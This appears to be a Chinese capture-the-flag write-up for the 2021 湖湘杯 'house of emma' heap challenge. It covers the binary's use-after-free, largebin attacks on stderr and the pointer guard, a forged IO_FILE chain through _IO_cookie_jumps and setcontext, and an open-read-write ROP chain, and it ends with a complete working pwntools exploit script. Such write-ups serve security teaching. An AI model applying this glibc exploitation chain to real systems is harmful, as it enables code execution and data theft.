湖湘杯-2021-house of emma 前言 学习house of emma 的过程中找到了他的出处,遂体会
静态分析 因为网上的题解(应该是出题人的分享),重点在说明house of emma 这个手法的利用链.但是自己在写题还是不能忽视其他的步骤
当然,每个函数都分析的话,有些浪费笔墨,所以我也只会分析我觉得重要的地方.
main
其实,刚开始看到这也只是看到,一次读入了0x500字节,也不知道是干啥. 在看完menu函数之后,才反应过来程序的一个流程. 这里的while(1),让程序一直循环.
包括在menu里,也是一直循环,所以这里没有常规的方法可以触发exit().而且这里,所有的opcode,都是一次输入.
这里主要是要确认opcode的格式, 每个opcode第一个字节是选项,然后是idx,add()和edit()需要size,edit()还需要content
在这里的case 5,给了我们一个重头再来的机会,让我们可以在泄露地址信息之后回来.
add
add()里对堆块的大小和数量,作了一定的限制.并且使用的是calloc,会清空堆块里的原始数据.
还有在delete()里free 后没有清空指针造成的uaf
seccomp
当然,不要忘了这题开了沙箱,专门限制了execve ,所以只能orw
思路分析
首先是泄露libc 和 heap 地址,可以直接利用uaf 和show()函数做到.
使用 LargeBin Attack 来在 stderr 指针处写一个可控地址
使用 LargeBin Attack 在__pointer_chk_guard 处写一个已知地址
通过写入的已知地址与需要调用的函数指针进行构造加密,同时构造出合理的 IO_FILE 结构
利用 Unsorted Bin 会与 Top Chunk 合并的机制来修改 Top Chunk 的 Size,从而触发 House OF Kiwi 中的 IO 调用
进入 House_OF_Emma 的调用链,同时寻找一个能够转移 rdi 到 rdx 的 gadget,利用这个 gadget 来为 Setcontext 提供内容
利用 Setcontext 来执行 ROP 来 ORW
exp详解 在这里,largebin attack的部分就简单略过描写,我们的重点还是后续伪造fake IO
泄露地址 以泄露libc为例,首先准备四个堆块.其中一个堆块略大于其他堆块是为后续利用准备.由于本程序的限制,让最小能申请到的堆块都会进入unsorted bin.
所以我们在free 一个堆块后,再申请一个更大的堆块,就可以把他放入largebins.第一次直接show(),即可泄露libc地址.而要泄露heap地址,要先利用edit()修改fd和bk,这样才能把fd_nextsize的内容,也就是chunk2的地址
1 2 3 4 5 6 7 8 9 10 11 add(0 ,0x410 ) add(1 ,0x410 ) add(2 ,0x420 ) add(3 ,0x410 ) delete(2 ) add(4 ,0x430 ) show(2 ) run() io.recvuntil("Del Done\nMalloc Done\n" ) libc_base=u64(io.recv(6 ).ljust(8 ,b"\x00" ))-0x1f30b0 logv("libc_base" ,hex (libc_base))
largebins attack 以修改stderr为例,此时有之前free的chunk2,现在free掉chunk0.此时如果正常,前面再申请一个更大的堆块,结果就是chunk0,会链入largebins.
现在,先修改chunk2的bk_nextsize,再申请大堆块,就可以往target里写入chunk2的地址. 所以成功之后,sterr 就被修改为了chunk2
把chunk2 和 chunk0 改好是为了后续的持续利用
1 2 3 4 5 6 7 8 9 delete(0 ) payload = p64(libc_base + 0x1f30b0 )*2 + p64(heap_base +0x2ae0 ) + p64(stderr - 0x20 ) edit(2 ,payload) add(5 ,0x430 ) edit(2 , p64(heap_base + 0x22a0 ) + p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x22a0 ) * 2 ) edit(0 , p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x2ae0 ) * 3 ) add(0 , 0x410 ) add(2 , 0x420 ) run()
关于largebins attack 的详细利用及原理,不在本文讲解,将在其他文章详细分析
修改top chunk size 这里是exp中的93-102行,这里的chunk7 ,size是0x450. free掉会被top chunk合并.我们再次申请0x430大小的chunk 8.
通过uaf留下的chunk7的size 和 指针,我们就可以修改到top chunk的size.
1 2 3 4 5 6 7 8 9 10 add(7 , 0x450 ) edit(2 , p64(heap_base + 0x22a0 ) + p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x22a0 ) * 2 ) edit(0 , p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x2ae0 ) * 3 ) add(2 , 0x420 ) add(0 , 0x410 ) run() delete(7 ) add(8 , 0x430 ) edit(7 ,b'a' * 0x438 + p64(0x300 )) run()
fake io 及 最后的利用链 总算是到了我们本题的重点.首先我们要明确执行到这一步,程序的一个情况.我们最后把top chunk的size修改为了0x300(当然,你想改成多少,就改成多少),然后我们通过申请比这个size大的堆块来触发sysmalloc,继而触发__malloc_assert.
触发之后,会先调用fxprintf.经过几层调用之后,会在__vfprintf_internal里有如下调用:
正常情况下rbx是stderr的vatable,这已经被我们替换为了fake io的对应部分.这里我们按照出题者的想法,把这替换成_io_cookie_jumps+0x38,这样可以调用_io_cookie_read. 接着往下看:
这里算是house of emma的起点.现在的思路是,利用setcontext去控制程序的执行流(因为这里可以控制rsp的位置)但是这个版本的setcontext的参数控制都是通过rdx来的,所以我们现在需要控制rdx
通过这样的指令,我们可以找到需要的gadgets.为什么这么搜? 首先,grep "rdx"不用过多解释吧. mov 是赋值的,也不多说.为什么最后是call 呢? 因为我们现在不能控制栈,所以我们希望有call和jmp 这样的指令,可以跳转.就解释到这
1 ROPgadget --binary libc.so.6 --only "mov|call" |grep "rdx"
这条gadget可以利用.首先rdi已经被控制为了fake io+0xe0里的地址,所以这里的rdi+8 和它里面的内容都可以控制.然后,修改了rsp里的内容,无影响.最后调用rdx+20里的内容.
所以,最后的rdx是 [[fake io+0xe0]+8],这里注意控制.然后我们控制[rdx+0x20]为setcontext+61,接着就会执行setcontext+61.
第一行就是关键代码,这里我们往fake io后面继续布置.将rdx 改到fake io上的某个地址,然后在对应的偏移,继续设置为堆上地址(就是布置的orw的地址).如下图:
然后,需要注意的是rcx,而且它会push rcx,并且在后续会ret.所以我们要让rcx的内容是ret指令,这个很简单,只要在ORW的上方布置一个ret gadget的地址就行了.
然后就是正常的orw的执行了
伪造fake io的过程,需要配合动调实时查看,一开始一次完成构造不太现实.中间对于偏移的计算也会出现一些问题.
当然熟练之后,可以把这个写成模板,以后遇到类似的利用就可以直接套用模板来写.
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from esy import *context.log_level="debug" context.terminal=['tmux' ,'splitw' ,'-h' ,'-l' ,'66%' ] io,elf=loadfile("./pwn" ,"" ,0 ) libc=ELF("./libc.so.6" ) opcode=b"" def add (idx,size ): global opcode opcode+=p8(1 )+p8(idx)+p16(size) def delete (idx ): global opcode opcode+=p8(2 )+p8(idx) def show (idx ): global opcode opcode+=p8(3 )+p8(idx) def edit (idx,content ): global opcode opcode+=p8(4 )+p8(idx)+p16(len (content))+content def run (): global opcode opcode += p8(5 ) io.sendafter("Pls input the opcode" ,opcode) opcode=b"" def rotate_left_64 (x, n ): n = n % 64 left_shift = (x << n) & 0xffffffffffffffff right_shift = (x >> (64 - n)) & 0xffffffffffffffff return left_shift | right_shift script=''' b *$rebase(0x18B6) b *$rebase(0x12D7) b __vfprintf_internal ''' gdb.attach(io,script) add(0 ,0x410 ) add(1 ,0x410 ) add(2 ,0x420 ) add(3 ,0x410 ) delete(2 ) add(4 ,0x430 ) show(2 ) run() io.recvuntil("Del Done\nMalloc Done\n" ) libc_base=u64(io.recv(6 ).ljust(8 ,b"\x00" ))-0x1f30b0 logv("libc_base" ,hex (libc_base)) pop_rdi=libc_base+0x2daa2 pop_rsi=libc_base+0x37c0a pop_rdx_r12=libc_base+0x1066e1 pop_rax=libc_base+0x446c0 syscall=libc_base+0x883b6 stderr=libc_base+libc.sym["stderr" ] setcontext=libc_base+libc.sym["setcontext" ] open_addr=libc_base+libc.sym["open" ] read_addr=libc_base+libc.sym["read" ] write=libc_base+libc.sym["write" ] _IO_cookie_jumps = libc_base + 0x1f3ae0 guard = libc_base+ 0x2cc770 edit(2 ,b'a' *0x10 ) show(2 ) run() io.recvuntil("a" *0x10 ) heap_base=u64(io.recv(6 ).ljust(8 ,b"\x00" ))-0x2ae0 logv("heap" ,hex (heap_base)) delete(0 ) payload = p64(libc_base + 0x1f30b0 )*2 + p64(heap_base +0x2ae0 ) + p64(stderr - 0x20 ) edit(2 ,payload) add(5 ,0x430 ) edit(2 , p64(heap_base + 0x22a0 ) + p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x22a0 ) * 2 ) edit(0 , p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x2ae0 ) * 3 ) add(0 , 0x410 ) add(2 , 0x420 ) run() delete(2 ) add(6 ,0x430 ) delete(0 ) edit(2 , p64(libc_base + 0x1f30b0 ) * 2 + p64(heap_base + 0x2ae0 ) + p64(guard - 0x20 )) add(7 , 0x450 ) edit(2 , p64(heap_base + 0x22a0 ) + p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x22a0 ) * 2 ) edit(0 , p64(libc_base + 0x1f30b0 ) + p64(heap_base + 0x2ae0 ) * 3 ) add(2 , 0x420 ) add(0 , 0x410 ) run() delete(7 ) add(8 , 0x430 ) edit(7 ,b'a' * 0x438 + p64(0x300 )) run() flag = heap_base + 0x22a0 + 0x260 orw = p64(pop_rdi)+p64(flag) orw+= p64(pop_rsi)+p64(0 ) orw+= p64(pop_rax)+p64(2 ) orw+= p64(syscall) orw+= p64(pop_rdi)+p64(3 ) orw+= p64(pop_rsi)+p64(heap_base+0x1050 ) orw+= p64(pop_rdx_r12)+p64(0x30 )+p64(0 ) orw+= p64(read_addr) orw+= p64(pop_rdi)+p64(1 ) orw+= p64(pop_rsi)+p64(heap_base+0x1050 ) orw+= p64(pop_rdx_r12)+p64(0x30 )+p64(0 ) orw+= p64(write) chunk0 = heap_base + 0x22a0 gadget = libc_base + 0x146020 xor_key = chunk0 fake_io = p64(0 ) + p64(0 ) fake_io += p64(0 ) + p64(0 ) + p64(0 ) fake_io += p64(0 ) + p64(0 ) fake_io += p64(0 )*8 fake_io += p64(heap_base) + p64(0 )*2 fake_io = fake_io.ljust(0xc8 ,b'\x00' ) fake_io += p64(_IO_cookie_jumps+0x38 ) rdi_data = chunk0 + 0xf0 rdx_data = chunk0 + 0xf0 encrypt_gadget = rotate_left_64(gadget^xor_key,0x11 ) fake_io += p64(rdi_data) fake_io += p64(encrypt_gadget) fake_io += p64(0 ) + p64(rdx_data) fake_io += p64(0 )*2 + p64(setcontext + 61 ) fake_io += p64(0xdeadbeef ) fake_io += b'a' *(0xa0 - 0x30 ) fake_io += p64(chunk0+0x1a0 )+p64(pop_rdi+1 ) fake_io += orw fake_io += p64(0xdeadbeef ) fake_io += b'flag\x00\x00\x00\x00' edit(0 ,fake_io) run() add(9 ,0x4c0 ) run() io.interactive()